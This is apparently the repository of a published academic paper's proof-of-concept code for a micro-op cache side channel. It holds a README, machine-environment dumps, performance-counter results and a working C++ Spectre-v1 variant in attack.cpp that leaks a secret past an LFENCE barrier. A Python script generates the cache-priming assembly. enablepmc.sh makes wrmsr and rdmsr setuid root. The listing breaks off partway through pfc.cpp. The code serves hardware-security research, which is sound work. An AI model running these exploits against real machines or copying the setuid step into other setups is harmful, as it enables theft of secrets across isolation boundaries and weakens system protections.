├── README.md ├── environment1 ├── collect.sh ├── cpuid.txt ├── lsb_release_a.txt ├── lscpu.txt ├── lshw.html └── uname_r.txt ├── lfence-bypass ├── E1.out ├── E2.out ├── E3.out ├── README ├── attack.cpp ├── attack.out ├── enablepmc.sh ├── generate_stripes.py ├── lscpu.out ├── pfc.cpp ├── pfc.h ├── run └── stripes.hpp └── variant-1 ├── bit-ops.h ├── dsbspectre.cpp ├── dsbspectre.out ├── run ├── secret.txt └── stripes.hpp /README.md: -------------------------------------------------------------------------------- 1 | # What is this 2 | 3 | This is proof-of-concept code for my paper [I See Dead micro-ops: Leaking Secrets via Intel/AMD Micro-Op Caches](https://www.cs.virginia.edu/venkat/papers/isca2021a.pdf), published [here at ISCA 2021](https://ieeexplore.ieee.org/abstract/document/9499837) with [Logan Moody](https://www.linkedin.com/in/loganmoody1), [Mohammadkazem Taram](https://mktrm.github.io/) and [Matthew Jordan](https://www.linkedin.com/in/matthew-jordan-67739615a) (click names to see LinkedIn). 4 | 5 | We are advised by [Ashish Venkat](http://www.cs.virginia.edu/venkat/) and [Dean M. Tullsen](https://cseweb.ucsd.edu/~tullsen/) in this publication. 6 | 7 | # Files in this 8 | 9 | - variant-1: this is a modified Spectre-v1 attack that uses the micro-op cache instead of the LLC 10 | - lfence-bypass: this is a proof-of-concept that the micro-op cache can make inserting LFENCE useless against spectre attacks 11 | - environment1: this contains a script to collect environmental information and a record of the environment on which the POC code was run. 12 | 13 | # How to use this 14 | 15 | Clone this repository into a linux server with build-essential installed. 16 | We used a [Equinix](https://metal.equinix.com/) s3.large.x86 server (Coffee Lake architecture) to test. 17 | 18 | Each folder contains a ./run script and the lfence-bypass contains a README with extra instructions. 19 | 20 | -------------------------------------------------------------------------------- /environment1/collect.sh: -------------------------------------------------------------------------------- 1 | apt install lshw cpuid 2 | lshw -html > lshw.html 3 | lscpu > lscpu.txt 4 | cpuid > cpuid.txt 5 | lsb_release -a > lsb_release_a.txt 6 | uname -r > uname_r.txt 7 | -------------------------------------------------------------------------------- /environment1/lsb_release_a.txt: -------------------------------------------------------------------------------- 1 | Distributor ID: Ubuntu 2 | Description: Ubuntu 18.04.5 LTS 3 | Release: 18.04 4 | Codename: bionic 5 | -------------------------------------------------------------------------------- /environment1/lscpu.txt: -------------------------------------------------------------------------------- 1 | Architecture: x86_64 2 | CPU op-mode(s): 32-bit, 64-bit 3 | Byte Order: Little Endian 4 | CPU(s): 48 5 | On-line CPU(s) list: 0-47 6 | Thread(s) per core: 2 7 | Core(s) per socket: 12 8 | Socket(s): 2 9 | NUMA node(s): 2 10 | Vendor ID: GenuineIntel 11 | CPU family: 6 12 | Model: 85 13 | Model name: Intel(R) Xeon(R) Silver 4214 CPU @ 2.20GHz 14 | Stepping: 7 15 | CPU MHz: 1000.152 16 | CPU max MHz: 3200.0000 17 | CPU min MHz: 1000.0000 18 | BogoMIPS: 4400.00 19 | Virtualization: VT-x 20 | L1d cache: 32K 21 | L1i cache: 32K 22 | L2 cache: 1024K 23 | L3 cache: 16896K 24 | NUMA node0 CPU(s): 0-11,24-35 25 | NUMA node1 CPU(s): 12-23,36-47 26 | Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid dca sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb cat_l3 cdp_l3 invpcid_single intel_ppin ssbd mba ibrs ibpb stibp ibrs_enhanced tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid cqm mpx rdt_a avx512f avx512dq rdseed adx smap clflushopt clwb intel_pt avx512cd avx512bw avx512vl xsaveopt xsavec xgetbv1 xsaves cqm_llc cqm_occup_llc cqm_mbm_total cqm_mbm_local dtherm ida arat pln pts pku ospke avx512_vnni md_clear flush_l1d arch_capabilities 27 | -------------------------------------------------------------------------------- /environment1/uname_r.txt: -------------------------------------------------------------------------------- 1 | 5.4.0-52-generic 2 | -------------------------------------------------------------------------------- /lfence-bypass/E1.out: -------------------------------------------------------------------------------- 1 | Compiled with: 2 | 3 | Case: Secret = 1, Training_bounds = 400, Malicious_bounds = 400 4 | 0 FRONTEND_RETIRED.L1I_MISS 5 | 76261 IDQ.DSB_UOPS 6 | 21668 DSB2MITE_SWITCHES.PENALTY_CYCLES 7 | 137711 IDQ.MITE_UOPS 8 | 213972 TOTAL_UOPS 9 | 10 | Case: Secret = 0, Training_bounds = 400, Malicious_bounds = 400 11 | 0 FRONTEND_RETIRED.L1I_MISS 12 | 179506 IDQ.DSB_UOPS 13 | 6301 DSB2MITE_SWITCHES.PENALTY_CYCLES 14 | 34598 IDQ.MITE_UOPS 15 | 214104 TOTAL_UOPS 16 | 17 | Case: Secret = 1, Training_bounds = 400, Malicious_bounds = 9001 18 | 0 FRONTEND_RETIRED.L1I_MISS 19 | 140828 IDQ.DSB_UOPS 20 | 16673 DSB2MITE_SWITCHES.PENALTY_CYCLES 21 | 73144 IDQ.MITE_UOPS 22 | 213972 TOTAL_UOPS 23 | 24 | Case: Secret = 0, Training_bounds = 400, Malicious_bounds = 9001 25 | 0 FRONTEND_RETIRED.L1I_MISS 26 | 181075 IDQ.DSB_UOPS 27 | 5957 DSB2MITE_SWITCHES.PENALTY_CYCLES 28 | 32921 IDQ.MITE_UOPS 29 | 213996 TOTAL_UOPS 30 | 31 | Case: Secret = 1, Training_bounds = 9001, Malicious_bounds = 9001 32 | 5 FRONTEND_RETIRED.L1I_MISS 33 | 179302 IDQ.DSB_UOPS 34 | 6989 DSB2MITE_SWITCHES.PENALTY_CYCLES 35 | 34769 IDQ.MITE_UOPS 36 | 214071 TOTAL_UOPS 37 | 38 | Case: Secret = 0, Training_bounds = 9001, Malicious_bounds = 9001 39 | 10 FRONTEND_RETIRED.L1I_MISS 40 | 171441 IDQ.DSB_UOPS 41 | 12413 DSB2MITE_SWITCHES.PENALTY_CYCLES 42 | 42822 IDQ.MITE_UOPS 43 | 214263 TOTAL_UOPS 44 | -------------------------------------------------------------------------------- /lfence-bypass/E2.out: -------------------------------------------------------------------------------- 1 | Compiled with: LFENCE, 2 | 3 | Case: Secret = 1, Training_bounds = 400, Malicious_bounds = 400 4 | 0 FRONTEND_RETIRED.L1I_MISS 5 | 79616 IDQ.DSB_UOPS 6 | 17090 DSB2MITE_SWITCHES.PENALTY_CYCLES 7 | 134369 IDQ.MITE_UOPS 8 | 213985 TOTAL_UOPS 9 | 10 | Case: Secret = 0, Training_bounds = 400, Malicious_bounds = 400 11 | 2 FRONTEND_RETIRED.L1I_MISS 12 | 178899 IDQ.DSB_UOPS 13 | 7270 DSB2MITE_SWITCHES.PENALTY_CYCLES 14 | 35166 IDQ.MITE_UOPS 15 | 214065 TOTAL_UOPS 16 | 17 | Case: Secret = 1, Training_bounds = 400, Malicious_bounds = 9001 18 | 18 FRONTEND_RETIRED.L1I_MISS 19 | 138785 IDQ.DSB_UOPS 20 | 17360 DSB2MITE_SWITCHES.PENALTY_CYCLES 21 | 75295 IDQ.MITE_UOPS 22 | 214080 TOTAL_UOPS 23 | 24 | Case: Secret = 0, Training_bounds = 400, Malicious_bounds = 9001 25 | 1 FRONTEND_RETIRED.L1I_MISS 26 | 181090 IDQ.DSB_UOPS 27 | 6200 DSB2MITE_SWITCHES.PENALTY_CYCLES 28 | 32906 IDQ.MITE_UOPS 29 | 213996 TOTAL_UOPS 30 | 31 | Case: Secret = 1, Training_bounds = 9001, Malicious_bounds = 9001 32 | 0 FRONTEND_RETIRED.L1I_MISS 33 | 180821 IDQ.DSB_UOPS 34 | 6104 DSB2MITE_SWITCHES.PENALTY_CYCLES 35 | 33179 IDQ.MITE_UOPS 36 | 214000 TOTAL_UOPS 37 | 38 | Case: Secret = 0, Training_bounds = 9001, Malicious_bounds = 9001 39 | 3 FRONTEND_RETIRED.L1I_MISS 40 | 179572 IDQ.DSB_UOPS 41 | 6609 DSB2MITE_SWITCHES.PENALTY_CYCLES 42 | 34430 IDQ.MITE_UOPS 43 | 214002 TOTAL_UOPS 44 | -------------------------------------------------------------------------------- /lfence-bypass/E3.out: -------------------------------------------------------------------------------- 1 | Compiled with: CPUID, 2 | 3 | Case: Secret = 1, Training_bounds = 400, Malicious_bounds = 400 4 | 2 FRONTEND_RETIRED.L1I_MISS 5 | 76459 IDQ.DSB_UOPS 6 | 24277 DSB2MITE_SWITCHES.PENALTY_CYCLES 7 | 137529 IDQ.MITE_UOPS 8 | 213988 TOTAL_UOPS 9 | 10 | Case: Secret = 0, Training_bounds = 400, Malicious_bounds = 400 11 | 7 FRONTEND_RETIRED.L1I_MISS 12 | 179769 IDQ.DSB_UOPS 13 | 6563 DSB2MITE_SWITCHES.PENALTY_CYCLES 14 | 34215 IDQ.MITE_UOPS 15 | 213984 TOTAL_UOPS 16 | 17 | Case: Secret = 1, Training_bounds = 400, Malicious_bounds = 9001 18 | 0 FRONTEND_RETIRED.L1I_MISS 19 | 180984 IDQ.DSB_UOPS 20 | 5530 DSB2MITE_SWITCHES.PENALTY_CYCLES 21 | 33038 IDQ.MITE_UOPS 22 | 214022 TOTAL_UOPS 23 | 24 | Case: Secret = 0, Training_bounds = 400, Malicious_bounds = 9001 25 | 0 FRONTEND_RETIRED.L1I_MISS 26 | 180398 IDQ.DSB_UOPS 27 | 6101 DSB2MITE_SWITCHES.PENALTY_CYCLES 28 | 33574 IDQ.MITE_UOPS 29 | 213972 TOTAL_UOPS 30 | 31 | Case: Secret = 1, Training_bounds = 9001, Malicious_bounds = 9001 32 | 0 FRONTEND_RETIRED.L1I_MISS 33 | 180437 IDQ.DSB_UOPS 34 | 6085 DSB2MITE_SWITCHES.PENALTY_CYCLES 35 | 33559 IDQ.MITE_UOPS 36 | 213996 TOTAL_UOPS 37 | 38 | Case: Secret = 0, Training_bounds = 9001, Malicious_bounds = 9001 39 | 0 FRONTEND_RETIRED.L1I_MISS 40 | 180747 IDQ.DSB_UOPS 41 | 5827 DSB2MITE_SWITCHES.PENALTY_CYCLES 42 | 33287 IDQ.MITE_UOPS 43 | 214034 TOTAL_UOPS 44 | -------------------------------------------------------------------------------- /lfence-bypass/README: -------------------------------------------------------------------------------- 1 | # Steps to enable performance counter measurements 2 | - turn off secure boot 3 | - ensure you are root 4 | - run `modprobe msr` 5 | - run `echo 2 > /sys/bus/event_source/devices/cpu/rdpmc` 6 | 7 | # Files 8 | attack.cpp - This is the main file that executes the attack 9 | pfc.h and pfc.cpp - These provide functions and macros for using intel performance counters 10 | run - bash script for compiling and running the experiment 11 | stripes.hpp - Includes the stripes which are used for tiger_0, tiger_0_copy, and tiger_super 12 | - These are carefully crafted to occupy specific sets and ways in the micro-op cache 13 | generate_stripes.py - This is the script used to generate stripes.hpp (Requires python3) 14 | lscpu.out - CPU info of example machine (gathered running lscpu) 15 | E1.out, E2.out, and E3.out - Output from running the experiments on the example machine 16 | 17 | # How to Run Experiments 18 | There are 3 Experiments you should run: 19 | E1: ./run attack 20 | E2: ./run attack -DLFENCE 21 | E3: ./run attack -DCPUID 22 | 23 | These experiments will execute and display output for 6 cases, which are fully explained in attack.cpp. 24 | The key thing to note is that cases 1, 2, 5, and 6 are baseline cases where we are not attempting to steal the secret. 25 | Cases 3 and 4 are where we train with valid bounds and then steal the secret with a malicious (out of bounds) call to the victim function. 26 | 27 | E1: 28 | Here there is no fence present after the security check in victim_function() 29 | Unsurprisingly we are ABLE to speculate past the security check and load secret dependent data into the micro-op cache. 30 | 31 | E2: 32 | This is the actual proof-of-concept attack. 33 | Here there is an LFENCE after the security check in victim_function() 34 | We are still ABLE to load the secret dependent data into the micro-op cache and then determine (using performance counters) if a particular function call was made. 35 | 36 | E3: 37 | Here there is a CPUID present after the security check in victim_function() 38 | Unsurprisingly we are UNABLE to speculate past the security check and load secret dependent data into the micro-op cache. 39 | 40 | Expected outputs of these tests are explained in attack.cpp file and the example output files. 41 | -------------------------------------------------------------------------------- /lfence-bypass/attack.cpp: -------------------------------------------------------------------------------- 1 | #include "stripes.hpp" 2 | #include "pfc.h" 3 | #include 4 | #ifdef _MSC_VER // ms visual c 5 | #include 6 | #pragma optimize("gt",on) 7 | #else // gcc 8 | #include 9 | #endif 10 | 11 | #ifndef SAMPLES 12 | #define SAMPLES 1000 13 | #endif 14 | 15 | typedef int func(void); 16 | 17 | // All of the tiger functions are aligned to 1024 to ensure they begin at set 0 of 18 | // the micro-op cache, which allows us only to occupy specific sets of the cache. 19 | 20 | // This is used as a dummy function so we only call actual tigers when necessary 21 | __attribute__ ((noinline)) 22 | __attribute__ ((aligned(1024))) 23 | void tiger_fake(){ 24 | } 25 | 26 | // This tiger occupies all sets and ways in the micro-op cache which allows 27 | // us to "flush" the micro-op cache. 28 | __attribute__ ((noinline)) 29 | __attribute__ ((aligned(1024))) 30 | void tiger_super(){ 31 | STRIPES_SUPER; 32 | } 33 | 34 | #define tf ((uint64_t)&tiger_fake) 35 | #define ts ((uint64_t)&tiger_super) 36 | 37 | // This tiger will occupy all ways of micro-op cache sets 21-31 (inclusive) 38 | // In practice this function would occupy whatever sets the victim_function's 39 | // function call (eg tiger_0_copy) occupies. 40 | __attribute__ ((noinline)) 41 | __attribute__ ((aligned(1024))) 42 | void tiger_0(){ 43 | STRIPES_0; 44 | } 45 | 46 | // This second tiger occupies the same sets and ways as tiger_0() 47 | // The key is that tiger_0() and tiger_0_copy will evict eachother from the micro-op cache. 48 | // This allows us to determine which is currently present in the cache. 49 | // In practice this function could be anything and then the attacker could generate 50 | // a corresponding tiger_0 which occupies the same sets. 51 | __attribute__ ((noinline)) 52 | __attribute__ ((aligned(1024))) 53 | void tiger_0_copy(){ 54 | STRIPES_0; 55 | } 56 | 57 | #define t0 ((uint64_t)&tiger_0) 58 | #define c0 ((uint64_t)&tiger_0_copy) 59 | 60 | uint16_t secret = 0; 61 | uint8_t array[500]; 62 | uint64_t bounds = 500; 63 | 64 | __attribute__ ((noinline)) 65 | __attribute__ ((aligned(1024))) 66 | void victim_function(uint64_t b) { 67 | if (b < bounds){ // Placeholder for security check 68 | 69 | // Based on preprocessor directive, insert a fence 70 | // The nop's ensure that each fence is the same length 71 | #if defined(CPUID) 72 | asm volatile("CPUID"); 73 | asm volatile("nop"); 74 | #elif defined(LFENCE) 75 | asm volatile("lfence"); 76 | #else 77 | asm volatile("nop"); 78 | asm volatile("nop"); 79 | asm volatile("nop"); 80 | #endif 81 | 82 | // If secret = 1, call tiger_0_copy 83 | // In practice the tiger_0_copy could be replaced with any function call 84 | // The attacker can then generate a corresponding tiger_0 which occupies the same sets 85 | ((func*) (tf+(secret*(c0-tf))))(); 86 | 87 | // This proves that we are speculating (otherwise, this would cause an error) 88 | // This call is not necessary to carry out the attack. 89 | array[b] = 9; 90 | } 91 | } 92 | 93 | __attribute__ ((noinline)) 94 | __attribute__ ((aligned(1024))) 95 | void run_victim(uint16_t a_temp, uint64_t b1, uint64_t b2){ 96 | pfc_reset(); 97 | 98 | // Set the secret 99 | secret = a_temp; 100 | 101 | for (int i = 0; i < SAMPLES; i++){ 102 | size_t x_train = b1; 103 | size_t x_target = b2; 104 | size_t temp = 0; 105 | uint8_t y; 106 | 107 | // Call victim function 100 times in this order: 108 | // 49 training calls, 1 malicious call, 49 training calls, 1 malicious call 109 | for (int j=99; j>=0; j--){ 110 | size_t x=((j%50)-1)&~0xFFF; 111 | temp=(x|(x>>16)); 112 | x=(x_train)^(temp&(x_target^x_train)); 113 | y=0^(temp&1); // 1 if malicious, 0 if train 114 | 115 | // If malicious, call tiger_super() * 2 (This "flushes" the micro-op cache) 116 | // The purpose of this function is to ensure that the differences we observe in the micro-op cache 117 | // are caused by the malicious call loading in a tiger_0 or tiger_0_copy and not the training runs. 118 | ((func*) (tf+(y*(ts-tf))))(); 119 | ((func*) (tf+(y*(ts-tf))))(); 120 | 121 | // If malicious, call tiger_0() * 2 (This primes the micro-op cache) 122 | ((func*) (tf+(y*(t0-tf))))(); 123 | ((func*) (tf+(y*(t0-tf))))(); 124 | 125 | // If we flush the bounds variable, we observe better performance (However, this may not be viable) 126 | _mm_clflush(&bounds); 127 | 128 | asm volatile("CPUID"); 129 | 130 | // This performs the train/malicious call 131 | victim_function(x); 132 | } 133 | asm volatile("CPUID"); 134 | 135 | PFC_TIC; 136 | 137 | tiger_0(); // Analyze this to see what was loaded into micro-op cache by malicious call 138 | 139 | PFC_TOC; 140 | 141 | asm volatile("CPUID"); 142 | } 143 | 144 | printf("\nCase: Secret = %d, Training_bounds = %ld, Malicious_bounds = %ld\n", secret, b1, b2); 145 | 146 | pfc_print(); 147 | } 148 | 149 | 150 | 151 | int main(int argc, const char** argv){ 152 | printf("Compiled with: "); 153 | #ifdef LFENCE 154 | printf("LFENCE,"); 155 | #endif 156 | #ifdef CPUID 157 | printf("CPUID,"); 158 | #endif 159 | printf("\n"); 160 | 161 | pfc_setup(); 162 | 163 | // Call victim function with 1 and 0 164 | // Training and Malicious calls are made with valid bounds 165 | // With LFENCE, CPUID, or no fence: 166 | // We expect the first call to stream significantly fewer instructions from the micro-op cache 167 | run_victim(1, 400, 400); 168 | run_victim(0, 400, 400); 169 | 170 | // These are the attack calls 171 | // Call victim function with 1 and 0 172 | // Training calls to victim made with valid bounds 173 | // Malicious calls to victim made with invalid bounds 174 | // With LFENCE or no fence: 175 | // We expect the first call to stream fewer instructions from the micro-op cache 176 | // With CPUID: 177 | // We expect both calls to stream a similar number of instructions from the micro-op cache 178 | run_victim(1, 400, 9001); 179 | run_victim(0, 400, 9001); 180 | 181 | // Call victim function with 1 and 0 182 | // Training and Malicious calls are made with invalid bounds 183 | // With LFENCE, CPUID, or no fence: 184 | // We expect both calls to stream a similar number of instructions from the micro-op cache 185 | run_victim(1, 9001, 9001); 186 | run_victim(0, 9001, 9001); 187 | 188 | return 0; 189 | } 190 | -------------------------------------------------------------------------------- /lfence-bypass/attack.out: -------------------------------------------------------------------------------- 1 | Compiled with: CPUID, 2 | 3 | Case: Secret = 1, Training_bounds = 400, Malicious_bounds = 400 4 | 11 FRONTEND_RETIRED.L1I_MISS 5 | 73511 IDQ.DSB_UOPS 6 | 23141 DSB2MITE_SWITCHES.PENALTY_CYCLES 7 | 133489 IDQ.MITE_UOPS 8 | 207000 TOTAL_UOPS 9 | 10 | Case: Secret = 0, Training_bounds = 400, Malicious_bounds = 400 11 | 24 FRONTEND_RETIRED.L1I_MISS 12 | 176924 IDQ.DSB_UOPS 13 | 12077 DSB2MITE_SWITCHES.PENALTY_CYCLES 14 | 30076 IDQ.MITE_UOPS 15 | 207000 TOTAL_UOPS 16 | 17 | Case: Secret = 1, Training_bounds = 400, Malicious_bounds = 9001 18 | 34 FRONTEND_RETIRED.L1I_MISS 19 | 179421 IDQ.DSB_UOPS 20 | 7369 DSB2MITE_SWITCHES.PENALTY_CYCLES 21 | 27578 IDQ.MITE_UOPS 22 | 206999 TOTAL_UOPS 23 | 24 | Case: Secret = 0, Training_bounds = 400, Malicious_bounds = 9001 25 | 22 FRONTEND_RETIRED.L1I_MISS 26 | 175764 IDQ.DSB_UOPS 27 | 12193 DSB2MITE_SWITCHES.PENALTY_CYCLES 28 | 31236 IDQ.MITE_UOPS 29 | 207000 TOTAL_UOPS 30 | 31 | Case: Secret = 1, Training_bounds = 9001, Malicious_bounds = 9001 32 | 14 FRONTEND_RETIRED.L1I_MISS 33 | 175664 IDQ.DSB_UOPS 34 | 14757 DSB2MITE_SWITCHES.PENALTY_CYCLES 35 | 31336 IDQ.MITE_UOPS 36 | 207000 TOTAL_UOPS 37 | 38 | Case: Secret = 0, Training_bounds = 9001, Malicious_bounds = 9001 39 | 11 FRONTEND_RETIRED.L1I_MISS 40 | 175498 IDQ.DSB_UOPS 41 | 13909 DSB2MITE_SWITCHES.PENALTY_CYCLES 42 | 31506 IDQ.MITE_UOPS 43 | 207004 TOTAL_UOPS 44 | -------------------------------------------------------------------------------- /lfence-bypass/enablepmc.sh: -------------------------------------------------------------------------------- 1 | # install msr-tools for rdmsr and wrmsr: 2 | # read/write Model Specific Registers 3 | if ! dpkg -s msr-tools >/dev/null 2>&1; then 4 | sudo apt install msr-tools 5 | fi 6 | 7 | # chown and chmod + setuid so that you can run pmc.cpp code outside 8 | # root 9 | chown root $(which wrmsr) 10 | chown root $(which rdmsr) 11 | chmod +s $(which wrmsr) 12 | chmod +s $(which rdmsr) 13 | 14 | # make sure kernel module is enabled 15 | modprobe msr 16 | 17 | #enable rdpmc instruction 18 | echo 2 > /sys/bus/event_source/devices/cpu/rdpmc 19 | -------------------------------------------------------------------------------- /lfence-bypass/generate_stripes.py: -------------------------------------------------------------------------------- 1 | # --- 2 | # jupyter: 3 | # jupytext: 4 | # text_representation: 5 | # extension: .py 6 | # format_name: light 7 | # format_version: '1.4' 8 | # jupytext_version: 1.2.1 9 | # kernelspec: 10 | # display_name: Python 3 11 | # language: python 12 | # name: python3 13 | # --- 14 | 15 | # + {"slideshow": {"slide_type": "-"}, "cell_type": "markdown"} 16 | # # Init 17 | # - 18 | import sys 19 | import os 20 | import getpass 21 | import tempfile 22 | import subprocess 23 | 24 | 25 | def nop_66(length, assembler = "as"): 26 | assert length >= 1 27 | if assembler == "gas" or assembler == "as": 28 | return ".byte " + "0x66, " * (length - 1) + "0x90" 29 | elif assembler == "nasm": 30 | return "db " + "66H, " * (length - 1) + "90H" 31 | 32 | 33 | 34 | # # Helper Functions 35 | 36 | def jumpaddr(n, opcode_length): 37 | addr_length = 4 38 | jump_addr = n * 32 - (opcode_length + addr_length) 39 | jump_bytes = [0]*4 # 4-byte address 40 | for i in range(4): 41 | jump_bytes[i] = jump_addr // (0x100 ** i) % 0x100 42 | tobyte = lambda x: "{0:#0{1}x}".format(x,4) 43 | 44 | 45 | return ", ".join(list(map(tobyte,jump_bytes))) 46 | 47 | 48 | def jumpblock(n): 49 | jumpins = ".byte 0xE9, "+jumpaddr(n,opcode_length=1+15) 50 | return f""" 51 | {nop_66(15)} 52 | {jumpins} 53 | {nop_66(12)} 54 | """ 55 | 56 | 57 | # # Generate 58 | 59 | DSB_NSETS=32 60 | 61 | 62 | def gen_zebra(dsb_sets, n_ways): 63 | jumps = [] 64 | for w in range(n_ways): 65 | for i in range(len(dsb_sets)): 66 | 67 | s = dsb_sets[i] 68 | 69 | if(w == 0 and i == 0): 70 | if(s != 0): 71 | jumps.append(s - 0) # get to the first one from beginning of loop 72 | continue 73 | 74 | jump = dsb_sets[i] - dsb_sets[i-1] 75 | if(i == 0): 76 | jump += DSB_NSETS # go to the nest iteration if w just increased 77 | jumps.append(jump) 78 | 79 | return jumps 80 | 81 | 82 | # to trigger an "ILLEGAL INSTRUCTION" exception and crash the program 83 | invalid_block = "\n"+(".byte " + ", ".join(["0xFF"]*8) + "\n")*4 + "\n" 84 | 85 | 86 | def gen_zebra(dsb_sets, n_ways): 87 | locs = [0] 88 | for i_ways in range(n_ways): 89 | locs += list(map(lambda x: x + DSB_NSETS*(i_ways), dsb_sets)) 90 | locs.append(n_ways*DSB_NSETS) 91 | 92 | blocks = [invalid_block] * (n_ways*DSB_NSETS) # fill with invalid blocks then replace with jump blocks 93 | for i in range(len(locs)-1): 94 | blocks[ locs[i] ] = jumpblock(locs[i+1] - locs[i]) # jump from block locs[i] to locs[i+1] 95 | 96 | asm = "".join(blocks) 97 | 98 | return asm 99 | 100 | 101 | def to_c_inline_asm(asm): 102 | 103 | lines = asm.strip().split("\n") 104 | 105 | # add c __asm prefix and suffix 106 | lines = ['__asm("']+lines+['");'] 107 | 108 | # justify lines 109 | maxlen = max(map(len, lines)) 110 | lines=map(lambda l: l.ljust(maxlen+2), lines) 111 | 112 | # covert to 113 | c_inline_asm = "\\t\\n\\\n".join(lines) 114 | return c_inline_asm 115 | 116 | 117 | 118 | #if len(sys.argv) != 2: 119 | # print("Please provide upper bound of sets"); 120 | # exit(); 121 | #sets_0 = list(range(31,32)) 122 | 123 | sets_all = list(range(32)) 124 | 125 | output_file ="" 126 | #for i in range(8): 127 | # output_file += "#define STRIPES_" + str(i) + " " + to_c_inline_asm(gen_zebra(list(range(28-4*i,32-4*i)), 8)) 128 | # output_file += "\n" * 4 129 | 130 | #for i in range(16): 131 | # output_file += "#define STRIPES_" + str(i) + " " + to_c_inline_asm(gen_zebra(list(range(30-2*i,32-2*i)), 6)) 132 | # output_file += "\n" * 4 133 | 134 | 135 | #for i in range(32): 136 | # output_file += "#define STRIPES_" + str(i) + " " + to_c_inline_asm(gen_zebra(list([31-i]), 6)) 137 | # output_file += "\n" * 4 138 | 139 | output_file += "#define STRIPES_0 " + to_c_inline_asm(gen_zebra(list(range(21,32)), 8)) 140 | output_file += "\n" * 4 141 | output_file += "#define STRIPES_SUPER " + to_c_inline_asm(gen_zebra(sets_all, 8)) 142 | output_file += "\n" * 4 143 | #dummyoutput_file = "#define NOPS_240 " + to_c_inline_asm( 144 | #f"""{nop_66(15)} 145 | #{nop_66(15)} 146 | #{nop_66(2)} 147 | #"""*240) 148 | 149 | 150 | print(output_file) 151 | 152 | 153 | -------------------------------------------------------------------------------- /lfence-bypass/lscpu.out: -------------------------------------------------------------------------------- 1 | Architecture: x86_64 2 | CPU op-mode(s): 32-bit, 64-bit 3 | Byte Order: Little Endian 4 | Address sizes: 39 bits physical, 48 bits virtual 5 | CPU(s): 8 6 | On-line CPU(s) list: 0-7 7 | Thread(s) per core: 1 8 | Core(s) per socket: 8 9 | Socket(s): 1 10 | NUMA node(s): 1 11 | Vendor ID: GenuineIntel 12 | CPU family: 6 13 | Model: 158 14 | Model name: Intel(R) Core(TM) i7-9700T CPU @ 2.00GHz 15 | Stepping: 13 16 | CPU MHz: 800.077 17 | CPU max MHz: 4300.0000 18 | CPU min MHz: 800.0000 19 | BogoMIPS: 3999.93 20 | Virtualization: VT-x 21 | L1d cache: 256 KiB 22 | L1i cache: 256 KiB 23 | L2 cache: 2 MiB 24 | L3 cache: 12 MiB 25 | NUMA node0 CPU(s): 0-7 26 | Vulnerability Itlb multihit: KVM: Mitigation: Split huge pages 27 | Vulnerability L1tf: Not affected 28 | Vulnerability Mds: Not affected 29 | Vulnerability Meltdown: Not affected 30 | Vulnerability Spec store bypass: Mitigation; Speculative Store Bypass disabled via prctl and seccomp 31 | Vulnerability Spectre v1: Mitigation; usercopy/swapgs barriers and __user pointer sanitization 32 | Vulnerability Spectre v2: Mitigation; Enhanced IBRS, IBPB conditional, RSB filling 33 | Vulnerability Srbds: Mitigation; TSX disabled 34 | Vulnerability Tsx async abort: Mitigation; TSX disabled 35 | Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single ssbd ibrs ibpb stibp ibrs_enhanced tpr_shadow vnmi flexpriority ept vpid ept_ad fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp md_clear flush_l1d arch_capabilities 36 | -------------------------------------------------------------------------------- /lfence-bypass/pfc.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "pfc.h" 14 | int64_t* pfc_mem; 15 | using namespace std; 16 | 17 | #ifndef MSR_IA32_PMC0 18 | #define MSR_IA32_PMC0 0x0C1 19 | #endif 20 | #ifndef MSR_IA32_PERFEVTSEL0 21 | #define MSR_IA32_PERFEVTSEL0 0x186 22 | #endif 23 | #ifndef MSR_OFFCORE_RSP0 24 | #define MSR_OFFCORE_RSP0 0x1A6 25 | #endif 26 | #ifndef MSR_OFFCORE_RSP1 27 | #define MSR_OFFCORE_RSP1 0x1A7 28 | #endif 29 | #ifndef MSR_IA32_FIXED_CTR0 30 | #define MSR_IA32_FIXED_CTR0 0x309 31 | #endif 32 | #ifndef MSR_IA32_FIXED_CTR_CTRL 33 | #define MSR_IA32_FIXED_CTR_CTRL 0x38D 34 | #endif 35 | #ifndef MSR_IA32_PERF_GLOBAL_CTRL 36 | #define MSR_IA32_PERF_GLOBAL_CTRL 0x38F 37 | #endif 38 | #ifndef MSR_PEBS_FRONTEND 39 | #define MSR_PEBS_FRONTEND 0x3F7 40 | #endif 41 | #ifndef CORE_X86_MSR_PERF_CTL 42 | #define CORE_X86_MSR_PERF_CTL 0xC0010200 43 | #endif 44 | #ifndef CORE_X86_MSR_PERF_CTR 45 | #define CORE_X86_MSR_PERF_CTR 0xC0010201 46 | #endif 47 | 48 | 49 | #define print_error(...) fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); 50 | #define print_verbose(...) if (verbose) printf(__VA_ARGS__); 51 | #define print_user_verbose(...) if (verbose) printf(__VA_ARGS__); 52 | #define nb_strtoul(s, base, res) *res = strtoul(s, NULL, base) 53 | 54 | struct pfc_config { 55 | unsigned long evt_num; 56 | unsigned long umask; 57 | 